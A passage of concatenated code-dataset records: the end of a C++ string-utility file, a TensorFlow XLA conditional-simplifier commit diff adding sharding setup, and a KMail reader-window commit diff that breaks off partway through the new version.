!ustr.compare(ustr.size() - usuffix.size(), usuffix.size(), usuffix)) ? newTRUE(ctx) : newFALSE(ctx);\n str.Release();\n suffix.Release();\n return result;\n}\n\ntosca::StringTerm& Trim(tosca::Context& ctx, tosca::StringTerm& str)\n{\n const tosca::string& ustr = str.Unbox();\n if (ustr.empty())\n return str;\n\n tosca::string::size_type first = ustr.find_first_not_of(\" \\t\\f\\n\\r\\b\");\n if (first == tosca::string::npos)\n {\n \/\/ All whitespace characters.\n str.Release();\n return newStringTerm(ctx, \"\");\n }\n\n size_t last = ustr.find_last_not_of(\" \\t\\f\\n\\r\\b\");\n StringTerm& result = newStringTerm(ctx, ustr.substr(first, (last-first+1)).c_str());\n str.Release();\n return result;\n}\n\nList<tosca::StringTerm>& Split(tosca::Context& ctx, tosca::StringTerm& str, tosca::StringTerm& sep)\n{\n const tosca::string& ustr = str.Unbox();\n if (ustr.empty())\n {\n str.Release();\n sep.Release();\n return newNil<tosca::StringTerm>(ctx);\n }\n\n const tosca::string& usep = sep.Unbox();\n List<tosca::StringTerm>* result = 0;\n List<tosca::StringTerm>* last = 0;\n\n tosca::string::size_type spos = 0;\n tosca::string::size_type pos = 0;\n int trailings = 0; \/\/ to discard empty trailing strings\n while ((pos = ustr.find(usep, spos)) != tosca::string::npos)\n {\n \ttosca::string::size_type count = pos - spos;\n \tif (count == 0)\n \t{\n \t\ttrailings ++;\n \t\tspos += usep.length();\n \t\tcontinue;\n \t}\n \tfor (; trailings > 0; trailings--)\n \t{\n \t\tList<tosca::StringTerm>& cons = dynamic_cast<List<tosca::StringTerm>&>(_CCons<tosca::StringTerm>::Make(ctx));\n \t\tcons.SetSub(0, newStringTerm(ctx, \"\"));\n \t\tif (last)\n \t\t\tlast->SetSub(1, cons);\n \t\tlast = &cons;\n\n \t\tif (!result)\n \t\t\tresult = last;\n \t}\n\n \tList<tosca::StringTerm>& cons = dynamic_cast<List<tosca::StringTerm>&>(_CCons<tosca::StringTerm>::Make(ctx));\n \tcons.SetSub(0, newStringTerm(ctx, ustr.substr(spos, count).c_str()));\n \tif (last)\n \t\tlast->SetSub(1, cons);\n \tlast = &cons;\n\n \tif (!result)\n \t\tresult = last;\n\n spos = pos + usep.length();\n }\n if (spos < ustr.length())\n {\n \tList<tosca::StringTerm>& cons = dynamic_cast<List<tosca::StringTerm>&>(_CCons<tosca::StringTerm>::Make(ctx));\n \tcons.SetSub(0, newStringTerm(ctx, ustr.substr(spos).c_str()));\n \tif (last)\n \t\tlast->SetSub(1, cons);\n \tlast = &cons;\n\n \tif (!result)\n \t\tresult = last;\n }\n\n if (last)\n {\n last->SetSub(1, newNil<tosca::StringTerm>(ctx));\n str.Release();\n }\n else\n {\n \/\/ sep was not found or only trailing empty strings. Just return the original string, even when empty\n result = &newCons(ctx, str, newNil<tosca::StringTerm>(ctx));\n }\n sep.Release();\n return *result;\n}\n\ntosca::StringTerm& Squash(tosca::Context& ctx, tosca::StringTerm& str)\n{\n tosca::string squashed;\n bool wasspace = false;\n \n for (auto iter = str.Unbox().begin(); iter != str.Unbox().end(); iter++)\n {\n if (isspace(*iter))\n {\n if (!wasspace)\n {\n wasspace=true;\n squashed += ' ';\n }\n }\n else\n {\n squashed += *iter;\n wasspace = false;\n }\n }\n str.Release();\n return newStringTerm(ctx, squashed.c_str());\n}\n\ntosca::DoubleTerm& Index(tosca::Context& ctx, tosca::StringTerm& string, tosca::StringTerm& pattern)\n{\n auto search = string.Unbox().find(pattern.Unbox());\n tosca::DoubleTerm& result = newDoubleTerm(ctx, search == tosca::string::npos ? -1 : search);\n string.Release();\n pattern.Release();\n return result;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/compiler\/xla\/service\/conditional_simplifier.h\"\n\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"tensorflow\/compiler\/xla\/literal_util.h\"\n#include \"tensorflow\/compiler\/xla\/service\/call_inliner.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_computation.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_instruction.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_opcode.h\"\n#include \"tensorflow\/compiler\/xla\/status_macros.h\"\n#include \"tensorflow\/compiler\/xla\/types.h\"\n#include \"tensorflow\/compiler\/xla\/util.h\"\n#include \"tensorflow\/core\/lib\/core\/errors.h\"\n#include \"tensorflow\/core\/lib\/strings\/str_util.h\"\n#include \"tensorflow\/core\/lib\/strings\/strcat.h\"\n\nnamespace xla {\n\n\/\/ Tries to replace a conditional with a call operation of the corresponding\n\/\/ computation. If the given conditional has a constant predicate, tries to\n\/\/ replace it with a call to its true\/false computation as appropirate and then\n\/\/ inline that computation.\n\/\/\n\/\/ Returns true if it made a change to the graph.\nstatic StatusOr<bool> TryRemoveConditional(HloInstruction* conditional) {\n CHECK_EQ(conditional->opcode(), HloOpcode::kConditional);\n \/\/ Do not remove conditionals that contain side-effecting instructions or\n \/\/ have control predecessors\/successors in either true\/false computation.\n if (!conditional->parent()->IsRemovable(conditional) ||\n conditional->HasSideEffect()) {\n VLOG(2) << \"Not attempting to remove conditional as it is not removable or \"\n \"has side effect: \"\n << conditional->ToShortString();\n return false;\n }\n\n if (conditional->operand(0)->opcode() != HloOpcode::kConstant) {\n VLOG(2) << \"Not attempting to remove conditional as its predicate is not a \"\n \"compile-time constant: \"\n << conditional->ToShortString();\n return false;\n }\n\n auto computation = conditional->parent();\n HloInstruction* call_op;\n if (conditional->operand(0)->literal().Get<bool>({})) {\n call_op = computation->AddInstruction(HloInstruction::CreateCall(\n conditional->shape(), {conditional->mutable_operand(1)},\n conditional->true_computation()));\n } else {\n call_op = computation->AddInstruction(HloInstruction::CreateCall(\n conditional->shape(), {conditional->mutable_operand(2)},\n conditional->false_computation()));\n }\n\n TF_RETURN_IF_ERROR(computation->ReplaceInstruction(conditional, call_op));\n TF_RETURN_IF_ERROR(CallInliner::Inline(call_op).status());\n\n return true;\n}\n\nStatusOr<bool> ConditionalSimplifier::Run(HloModule* module) {\n XLA_VLOG_LINES(\n 3, \"ConditionalSimplifier::Run(), before:\\n\" + module->ToString());\n bool changed = false;\n\n \/\/ Gather all the conditional ops in our module. We do this ahead of time so\n \/\/ we don't have to worry about mutating the lists of computations or\n \/\/ instructions as we iterate.\n std::vector<HloInstruction*> conditional_ops;\n for (auto* comp : module->computations()) {\n for (auto* instr : comp->instructions()) {\n if (instr->opcode() == HloOpcode::kConditional) {\n conditional_ops.push_back(instr);\n }\n }\n }\n\n for (HloInstruction* conditional_op : conditional_ops) {\n TF_ASSIGN_OR_RETURN(bool result, TryRemoveConditional(conditional_op));\n changed |= result;\n }\n\n XLA_VLOG_LINES(3,\n \"ConditionalSimplifier::Run(), after:\\n\" + module->ToString());\n return changed;\n}\n\n} \/\/ namespace xla\n<commit_msg>Teach the conditinal simplifier about sharding.<commit_after>\/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/compiler\/xla\/service\/conditional_simplifier.h\"\n\n#include <string>\n#include <utility>\n#include <vector>\n\n#include \"tensorflow\/compiler\/xla\/literal_util.h\"\n#include \"tensorflow\/compiler\/xla\/service\/call_inliner.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_computation.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_instruction.h\"\n#include \"tensorflow\/compiler\/xla\/service\/hlo_opcode.h\"\n#include \"tensorflow\/compiler\/xla\/status_macros.h\"\n#include \"tensorflow\/compiler\/xla\/types.h\"\n#include \"tensorflow\/compiler\/xla\/util.h\"\n#include \"tensorflow\/core\/lib\/core\/errors.h\"\n#include \"tensorflow\/core\/lib\/strings\/str_util.h\"\n#include \"tensorflow\/core\/lib\/strings\/strcat.h\"\n\nnamespace xla {\n\n\/\/ Tries to replace a conditional with a call operation of the corresponding\n\/\/ computation. If the given conditional has a constant predicate, tries to\n\/\/ replace it with a call to its true\/false computation as appropirate and then\n\/\/ inline that computation.\n\/\/\n\/\/ Returns true if it made a change to the graph.\nstatic StatusOr<bool> TryRemoveConditional(HloInstruction* conditional) {\n CHECK_EQ(conditional->opcode(), HloOpcode::kConditional);\n \/\/ Do not remove conditionals that contain side-effecting instructions or\n \/\/ have control predecessors\/successors in either true\/false computation.\n if (!conditional->parent()->IsRemovable(conditional) ||\n conditional->HasSideEffect()) {\n VLOG(2) << \"Not attempting to remove conditional as it is not removable or \"\n \"has side effect: \"\n << conditional->ToShortString();\n return false;\n }\n\n if (conditional->operand(0)->opcode() != HloOpcode::kConstant) {\n VLOG(2) << \"Not attempting to remove conditional as its predicate is not a \"\n \"compile-time constant: \"\n << conditional->ToShortString();\n return false;\n }\n\n auto computation = conditional->parent();\n HloInstruction* call_op;\n if (conditional->operand(0)->literal().Get<bool>({})) {\n call_op = computation->AddInstruction(HloInstruction::CreateCall(\n conditional->shape(), {conditional->mutable_operand(1)},\n conditional->true_computation()));\n } else {\n call_op = computation->AddInstruction(HloInstruction::CreateCall(\n conditional->shape(), {conditional->mutable_operand(2)},\n conditional->false_computation()));\n }\n conditional->SetupDerivedInstruction(call_op);\n TF_RETURN_IF_ERROR(computation->ReplaceInstruction(conditional, call_op));\n TF_RETURN_IF_ERROR(CallInliner::Inline(call_op).status());\n\n return true;\n}\n\nStatusOr<bool> ConditionalSimplifier::Run(HloModule* module) {\n XLA_VLOG_LINES(\n 3, \"ConditionalSimplifier::Run(), before:\\n\" + module->ToString());\n bool changed = false;\n\n \/\/ Gather all the conditional ops in our module. We do this ahead of time so\n \/\/ we don't have to worry about mutating the lists of computations or\n \/\/ instructions as we iterate.\n std::vector<HloInstruction*> conditional_ops;\n for (auto* comp : module->computations()) {\n for (auto* instr : comp->instructions()) {\n if (instr->opcode() == HloOpcode::kConditional) {\n conditional_ops.push_back(instr);\n }\n }\n }\n\n for (HloInstruction* conditional_op : conditional_ops) {\n TF_ASSIGN_OR_RETURN(bool result, TryRemoveConditional(conditional_op));\n changed |= result;\n }\n\n XLA_VLOG_LINES(3,\n \"ConditionalSimplifier::Run(), after:\\n\" + module->ToString());\n return changed;\n}\n\n} \/\/ namespace xla\n<|endoftext|>"} {"text":"<commit_before>\/\/ kmreadermainwin\n\/\/ (c) 2002 Don Sanders <sanders@kde.org>\n\/\/ License: GPL\n\/\/\n\/\/ A toplevel KMainWindow derived class for displaying\n\/\/ single messages or single message parts.\n\/\/\n\/\/ Could be extended to include support for normal main window\n\/\/ widgets like a toolbar.\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <qaccel.h>\n#include <kapplication.h>\n#include <klocale.h>\n#include <kstdaccel.h>\n#include <kwin.h>\n#include <kaction.h>\n#include <kiconloader.h>\n\n#include \"kmcommands.h\"\n#include \"kmenubar.h\"\n#include \"kpopupmenu.h\"\n#include \"kmreaderwin.h\"\n#include \"kmfolder.h\"\n\n#include \"kmreadermainwin.h\"\n#include \"kmreadermainwin.moc\"\n\nKMReaderMainWin::KMReaderMainWin( bool htmlOverride, char *name )\n : KMail::SecondaryWindow( name ), mMsg( 0 )\n{\n KWin::setIcons(winId(), kapp->icon(), kapp->miniIcon());\n mReaderWin = new KMReaderWin( this, this, actionCollection() );\n \/\/mReaderWin->setShowCompleteMessage( true );\n mReaderWin->setAutoDelete( true );\n mReaderWin->setHtmlOverride( htmlOverride );\n setCentralWidget( mReaderWin );\n setupAccel();\n\n connect( kmkernel, SIGNAL( configChanged() ),\n this, SLOT( slotConfigChanged() ) );\n}\n\n\nKMReaderMainWin::KMReaderMainWin( char *name )\n : KMail::SecondaryWindow( name ), mMsg( 0 )\n{\n mReaderWin = new KMReaderWin( this, this, actionCollection() );\n mReaderWin->setAutoDelete( true );\n setCentralWidget( mReaderWin );\n setupAccel();\n\n connect( kmkernel, SIGNAL( configChanged() ),\n this, SLOT( slotConfigChanged() ) );\n}\n\n\nKMReaderMainWin::KMReaderMainWin(KMMessagePart* aMsgPart,\n bool aHTML, const QString& aFileName, const QString& pname,\n const QTextCodec *codec, char *name )\n : KMail::SecondaryWindow( name ), mMsg( 0 )\n{\n resize( 550, 600 );\n mReaderWin = new KMReaderWin( this, this, actionCollection() ); \/\/new reader\n mReaderWin->setOverrideCodec( codec );\n mReaderWin->setMsgPart( aMsgPart, aHTML, aFileName, pname );\n setCentralWidget( mReaderWin );\n setupAccel();\n\n connect( kmkernel, SIGNAL( configChanged() ),\n this, SLOT( slotConfigChanged() ) );\n}\n\n\nKMReaderMainWin::~KMReaderMainWin()\n{\n saveMainWindowSettings(KMKernel::config(), \"Separate Reader Window\");\n}\n\n\nvoid KMReaderMainWin::showMsg( const QTextCodec *codec, KMMessage *msg )\n{\n mReaderWin->setOverrideCodec( codec );\n mReaderWin->setMsg( msg, true );\n setCaption( msg->subject() );\n mMsg = msg;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotPrintMsg()\n{\n KMCommand *command = new KMPrintCommand( this, mReaderWin->message(),\n mReaderWin->htmlOverride() );\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotReplyToMsg()\n{\n KMCommand *command = new KMReplyToCommand( this, mReaderWin->message(),\n mReaderWin->copyText() );\n command->start();\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotReplyAuthorToMsg()\n{\n KMCommand *command = new KMReplyAuthorCommand( this, mReaderWin->message(),\n mReaderWin->copyText() );\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotReplyAllToMsg()\n{\n KMCommand *command = new KMReplyToAllCommand( this, mReaderWin->message(),\n mReaderWin->copyText() );\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotReplyListToMsg()\n{\n KMCommand *command = new KMReplyListCommand( this, mReaderWin->message(),\n mReaderWin->copyText() );\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotForwardMsg()\n{\n KMCommand *command = 0;\n if ( mReaderWin->message()->parent() ) {\n command = new KMForwardCommand( this, mReaderWin->message(),\n mReaderWin->message()->parent()->identity() );\n } else {\n command = new KMForwardCommand( this, mReaderWin->message() );\n }\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotForwardAttachedMsg()\n{\n KMCommand *command = 0;\n if ( mReaderWin->message()->parent() ) {\n command = new KMForwardAttachedCommand( this, mReaderWin->message(),\n mReaderWin->message()->parent()->identity() );\n } else {\n command = new KMForwardAttachedCommand( this, mReaderWin->message() );\n }\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotRedirectMsg()\n{\n KMCommand *command = new KMRedirectCommand( this, mReaderWin->message() );\n command->start();\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotBounceMsg()\n{\n KMCommand *command = new KMBounceCommand( this, mReaderWin->message() );\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotConfigChanged()\n{\n \/\/readConfig();\n}\n\nvoid KMReaderMainWin::setupAccel()\n{\n if (kmkernel->xmlGuiInstance())\n setInstance( kmkernel->xmlGuiInstance() );\n KStdAction::close( this, SLOT( close() ), actionCollection() );\n applyMainWindowSettings(KMKernel::config(), \"Separate Reader Window\");\n QAccel *accel = new QAccel(mReaderWin, \"showMsg()\");\n accel->connectItem(accel->insertItem(Key_Up),\n mReaderWin, SLOT(slotScrollUp()));\n accel->connectItem(accel->insertItem(Key_Down),\n mReaderWin, SLOT(slotScrollDown()));\n accel->connectItem(accel->insertItem(Key_Prior),\n mReaderWin, SLOT(slotScrollPrior()));\n accel->connectItem(accel->insertItem(Key_Next),\n mReaderWin, SLOT(slotScrollNext()));\n accel->connectItem(accel->insertItem(KStdAccel::shortcut(KStdAccel::Copy)),\n mReaderWin, SLOT(slotCopySelectedText()));\n connect( mReaderWin, SIGNAL(popupMenu(KMMessage&,const KURL&,const QPoint&)),\n\t this, SLOT(slotMsgPopup(KMMessage&,const KURL&,const QPoint&)));\n connect(mReaderWin, SIGNAL(urlClicked(const KURL&,int)),\n\t mReaderWin, SLOT(slotUrlClicked()));\n\n mForwardActionMenu = new KActionMenu( i18n(\"Message->\",\"&Forward\"),\n\t\t\t\t\t\"mail_forward\", actionCollection(),\n\t\t\t\t\t\"message_forward\" );\n\n mForwardAction = new KAction( i18n(\"&Inline...\"), \"mail_forward\",\n\t\t\t\tSHIFT+Key_F, this, SLOT(slotForwardMsg()),\n\t\t\t\tactionCollection(), \"message_forward\" );\n mForwardActionMenu->insert( mForwardAction );\n\n mForwardAttachedAction = new KAction( i18n(\"Message->Forward->\",\"As &Attachment...\"),\n\t\t\t\t \"mail_forward\", Key_F, this,\n\t\t\t\t\tSLOT(slotForwardAttachedMsg()), actionCollection(),\n\t\t\t\t\t\"message_forward_as_attachment\" );\n mForwardActionMenu->insert( mForwardAttachedAction );\n\n mRedirectAction = new KAction( i18n(\"Message->Forward->\",\"&Redirect...\"),\n\t\t\t\t Key_E, this, SLOT(slotRedirectMsg()),\n\t\t\t\t actionCollection(), \"message_forward_redirect\" );\n mForwardActionMenu->insert( mRedirectAction );\n\n mBounceAction = new KAction( i18n(\"&Bounce...\"), 0, this,\n\t\t\t SLOT(slotBounceMsg()), actionCollection(), \"bounce\" );\n\n\n mReplyActionMenu = new KActionMenu( i18n(\"Message->\",\"&Reply\"),\n \"mail_reply\", actionCollection(),\n \"message_reply_menu\" );\n connect( mReplyActionMenu, SIGNAL(activated()), this,\n\t SLOT(slotReplyToMsg()) );\n\n mReplyAction = new KAction( i18n(\"&Reply...\"), \"mail_reply\", Key_R, this,\n\t\t\t SLOT(slotReplyToMsg()), actionCollection(), \"reply\" );\n mReplyActionMenu->insert( mReplyAction );\n\n mReplyAuthorAction = new KAction( i18n(\"Reply to A&uthor...\"), \"mail_reply\",\n SHIFT+Key_A, this,\n SLOT(slotReplyAuthorToMsg()),\n actionCollection(), \"reply_author\" );\n mReplyActionMenu->insert( mReplyAuthorAction );\n\n mReplyAllAction = new KAction( i18n(\"Reply to &All...\"), \"mail_replyall\",\n\t\t\t\t Key_A, this, SLOT(slotReplyAllToMsg()),\n\t\t\t\t actionCollection(), \"reply_all\" );\n mReplyActionMenu->insert( mReplyAllAction );\n\n mReplyListAction = new KAction( i18n(\"Reply to Mailing-&List...\"),\n\t\t\t\t \"mail_replylist\", Key_L, this,\n\t\t\t\t SLOT(slotReplyListToMsg()), actionCollection(),\n\t\t\t\t \"reply_list\" );\n mReplyActionMenu->insert( mReplyListAction );\n\n mPrintAction = KStdAction::print (this, SLOT(slotPrintMsg()), actionCollection());\n createGUI( \"kmreadermainwin.rc\" );\n menuBar()->hide();\n\n}\n\n\nvoid KMReaderMainWin::slotMsgPopup(KMMessage &aMsg, const KURL &aUrl, const QPoint& aPoint)\n{\n KPopupMenu * menu = new KPopupMenu;\n mUrl = aUrl;\n mMsg = &aMsg;\n\n if (!aUrl.isEmpty()) {\n if (aUrl.protocol() == \"mailto\") {\n \/\/ popup on a mailto URL\n mReaderWin->mailToComposeAction()->plug( menu );\n if ( mMsg ) {\n\tmReaderWin->mailToReplyAction()->plug( menu );\n\tmReaderWin->mailToForwardAction()->plug( menu );\n menu->insertSeparator();\n }\n mReaderWin->addAddrBookAction()->plug( menu );\n mReaderWin->openAddrBookAction()->plug( menu );\n mReaderWin->copyAction()->plug( menu );\n } else {\n \/\/ popup on a not-mailto URL\n mReaderWin->urlOpenAction()->plug( menu );\n mReaderWin->urlSaveAsAction()->plug( menu );\n mReaderWin->copyURLAction()->plug( menu );\n mReaderWin->addBookmarksAction()->plug( menu );\n }\n } else {\n \/\/ popup somewhere else (i.e., not a URL) on the message\n\n if (!mMsg) \/\/ no message\n {\n delete menu;\n return;\n }\n\n mReplyAction->plug( menu );\n mReplyAllAction->plug( menu );\n mReplyAuthorAction->plug( menu );\n mReplyListAction->plug( menu );\n mForwardActionMenu->plug( menu );\n mBounceAction->plug( menu );\n\n menu->insertSeparator();\n\n QPopupMenu* copyMenu = new QPopupMenu(menu);\n KMMenuCommand::folderToPopupMenu( false, this, &mMenuToFolder, copyMenu );\n menu->insertItem( i18n(\"&Copy To\" ), copyMenu );\n menu->insertSeparator();\n mReaderWin->toggleFixFontAction()->plug( menu );\n mReaderWin->viewSourceAction()->plug( menu );\n\n mPrintAction->plug( menu );\n menu->insertItem( SmallIcon(\"filesaveas\"), i18n( \"Save &As...\" ), mReaderWin, SLOT( slotSaveMsg() ) );\n menu->insertItem( i18n(\"Save Attachments...\"), mReaderWin, SLOT(slotSaveAttachments()) );\n }\n menu->exec(aPoint, 0);\n delete menu;\n}\n\nvoid KMReaderMainWin::copySelectedToFolder( int menuId )\n{\n if (!mMenuToFolder[menuId])\n return;\n\n KMCommand *command = new KMCopyCommand( mMenuToFolder[menuId], mMsg );\n command->start();\n}\n<commit_msg>Don't show the toolbar when the external message window is abused as an attachment viewer. Enable it when a message is set for the window. Fixeѕ a crash with trying to forward a 0 mail.<commit_after>\/\/ kmreadermainwin\n\/\/ (c) 2002 Don Sanders <sanders@kde.org>\n\/\/ License: GPL\n\/\/\n\/\/ A toplevel KMainWindow derived class for displaying\n\/\/ single messages or single message parts.\n\/\/\n\/\/ Could be extended to include support for normal main window\n\/\/ widgets like a toolbar.\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <qaccel.h>\n#include <kapplication.h>\n#include <klocale.h>\n#include <kstdaccel.h>\n#include <kwin.h>\n#include <kaction.h>\n#include <kiconloader.h>\n\n#include \"kmcommands.h\"\n#include \"kmenubar.h\"\n#include \"kpopupmenu.h\"\n#include \"kmreaderwin.h\"\n#include \"kmfolder.h\"\n\n#include \"kmreadermainwin.h\"\n#include \"kmreadermainwin.moc\"\n\nKMReaderMainWin::KMReaderMainWin( bool htmlOverride, char *name )\n : KMail::SecondaryWindow( name ), mMsg( 0 )\n{\n KWin::setIcons(winId(), kapp->icon(), kapp->miniIcon());\n mReaderWin = new KMReaderWin( this, this, actionCollection() );\n \/\/mReaderWin->setShowCompleteMessage( true );\n mReaderWin->setAutoDelete( true );\n mReaderWin->setHtmlOverride( htmlOverride );\n setCentralWidget( mReaderWin );\n setupAccel();\n\n connect( kmkernel, SIGNAL( configChanged() ),\n this, SLOT( slotConfigChanged() ) );\n}\n\n\nKMReaderMainWin::KMReaderMainWin( char *name )\n : KMail::SecondaryWindow( name ), mMsg( 0 )\n{\n mReaderWin = new KMReaderWin( this, this, actionCollection() );\n mReaderWin->setAutoDelete( true );\n setCentralWidget( mReaderWin );\n setupAccel();\n\n connect( kmkernel, SIGNAL( configChanged() ),\n this, SLOT( slotConfigChanged() ) );\n}\n\n\nKMReaderMainWin::KMReaderMainWin(KMMessagePart* aMsgPart,\n bool aHTML, const QString& aFileName, const QString& pname,\n const QTextCodec *codec, char *name )\n : KMail::SecondaryWindow( name ), mMsg( 0 )\n{\n resize( 550, 600 );\n mReaderWin = new KMReaderWin( this, this, actionCollection() ); \/\/new reader\n mReaderWin->setOverrideCodec( codec );\n mReaderWin->setMsgPart( aMsgPart, aHTML, aFileName, pname );\n setCentralWidget( mReaderWin );\n setupAccel();\n\n connect( kmkernel, SIGNAL( configChanged() ),\n this, SLOT( slotConfigChanged() ) );\n}\n\n\nKMReaderMainWin::~KMReaderMainWin()\n{\n saveMainWindowSettings(KMKernel::config(), \"Separate Reader Window\");\n}\n\n\nvoid KMReaderMainWin::showMsg( const QTextCodec *codec, KMMessage *msg )\n{\n mReaderWin->setOverrideCodec( codec );\n mReaderWin->setMsg( msg, true );\n setCaption( msg->subject() );\n mMsg = msg;\n toolBar( \"mainToolBar\" )->show();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotPrintMsg()\n{\n KMCommand *command = new KMPrintCommand( this, mReaderWin->message(),\n mReaderWin->htmlOverride() );\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotReplyToMsg()\n{\n KMCommand *command = new KMReplyToCommand( this, mReaderWin->message(),\n mReaderWin->copyText() );\n command->start();\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotReplyAuthorToMsg()\n{\n KMCommand *command = new KMReplyAuthorCommand( this, mReaderWin->message(),\n mReaderWin->copyText() );\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotReplyAllToMsg()\n{\n KMCommand *command = new KMReplyToAllCommand( this, mReaderWin->message(),\n mReaderWin->copyText() );\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotReplyListToMsg()\n{\n KMCommand *command = new KMReplyListCommand( this, mReaderWin->message(),\n mReaderWin->copyText() );\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotForwardMsg()\n{\n KMCommand *command = 0;\n if ( mReaderWin->message()->parent() ) {\n command = new KMForwardCommand( this, mReaderWin->message(),\n mReaderWin->message()->parent()->identity() );\n } else {\n command = new KMForwardCommand( this, mReaderWin->message() );\n }\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotForwardAttachedMsg()\n{\n KMCommand *command = 0;\n if ( mReaderWin->message()->parent() ) {\n command = new KMForwardAttachedCommand( this, mReaderWin->message(),\n mReaderWin->message()->parent()->identity() );\n } else {\n command = new KMForwardAttachedCommand( this, mReaderWin->message() );\n }\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotRedirectMsg()\n{\n KMCommand *command = new KMRedirectCommand( this, mReaderWin->message() );\n command->start();\n}\n\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotBounceMsg()\n{\n KMCommand *command = new KMBounceCommand( this, mReaderWin->message() );\n command->start();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid KMReaderMainWin::slotConfigChanged()\n{\n \/\/readConfig();\n}\n\nvoid KMReaderMainWin::setupAccel()\n{\n if (kmkernel->xmlGuiInstance())\n setInstance( kmkernel->xmlGuiInstance() );\n KStdAction::close( this, SLOT( close() ), actionCollection() );\n applyMainWindowSettings(KMKernel::config(), \"Separate Reader Window\");\n QAccel *accel = new QAccel(mReaderWin, \"showMsg()\");\n accel->connectItem(accel->insertItem(Key_Up),\n mReaderWin, SLOT(slotScrollUp()));\n accel->connectItem(accel->insertItem(Key_Down),\n mReaderWin, SLOT(slotScrollDown()));\n accel->connectItem(accel->insertItem(Key_Prior),\n mReaderWin, SLOT(slotScrollPrior()));\n accel->connectItem(accel->insertItem(Key_Next),\n mReaderWin, SLOT(slotScrollNext()));\n accel->connectItem(accel->insertItem(KStdAccel::shortcut(KStdAccel::Copy)),\n mReaderWin, SLOT(slotCopySelectedText()));\n connect( mReaderWin, SIGNAL(popupMenu(KMMessage&,const KURL&,const QPoint&)),\n\t this, SLOT(slotMsgPopup(KMMessage&,const KURL&,const QPoint&)));\n connect(mReaderWin, SIGNAL(urlClicked(const KURL&,int)),\n\t mReaderWin, SLOT(slotUrlClicked()));\n\n mForwardActionMenu = new KActionMenu( i18n(\"Message->\",\"&Forward\"),\n\t\t\t\t\t\"mail_forward\", actionCollection(),\n\t\t\t\t\t\"message_forward\" );\n\n mForwardAction = new KAction( i18n(\"&Inline...\"), \"mail_forward\",\n\t\t\t\tSHIFT+Key_F, this, SLOT(slotForwardMsg()),\n\t\t\t\tactionCollection(), \"message_forward\" );\n mForwardActionMenu->insert( mForwardAction );\n\n mForwardAttachedAction = new KAction( i18n(\"Message->Forward->\",\"As &Attachment...\"),\n\t\t\t\t \"mail_forward\", Key_F, this,\n\t\t\t\t\tSLOT(slotForwardAttachedMsg()), actionCollection(),\n\t\t\t\t\t\"message_forward_as_attachment\" );\n mForwardActionMenu->insert( mForwardAttachedAction );\n\n mRedirectAction = new KAction( i18n(\"Message->Forward->\",\"&Redirect...\"),\n\t\t\t\t Key_E, this, SLOT(slotRedirectMsg()),\n\t\t\t\t actionCollection(), \"message_forward_redirect\" );\n mForwardActionMenu->insert( mRedirectAction );\n\n mBounceAction = new KAction( i18n(\"&Bounce...\"), 0, this,\n\t\t\t SLOT(slotBounceMsg()), actionCollection(), \"bounce\" );\n\n\n mReplyActionMenu = new KActionMenu( i18n(\"Message->\",\"&Reply\"),\n \"mail_reply\", actionCollection(),\n \"message_reply_menu\" );\n connect( mReplyActionMenu, SIGNAL(activated()), this,\n\t SLOT(slotReplyToMsg()) );\n\n mReplyAction = new KAction( i18n(\"&Reply...\"), \"mail_reply\", Key_R, this,\n\t\t\t SLOT(slotReplyToMsg()), actionCollection(), \"reply\" );\n mReplyActionMenu->insert( mReplyAction );\n\n 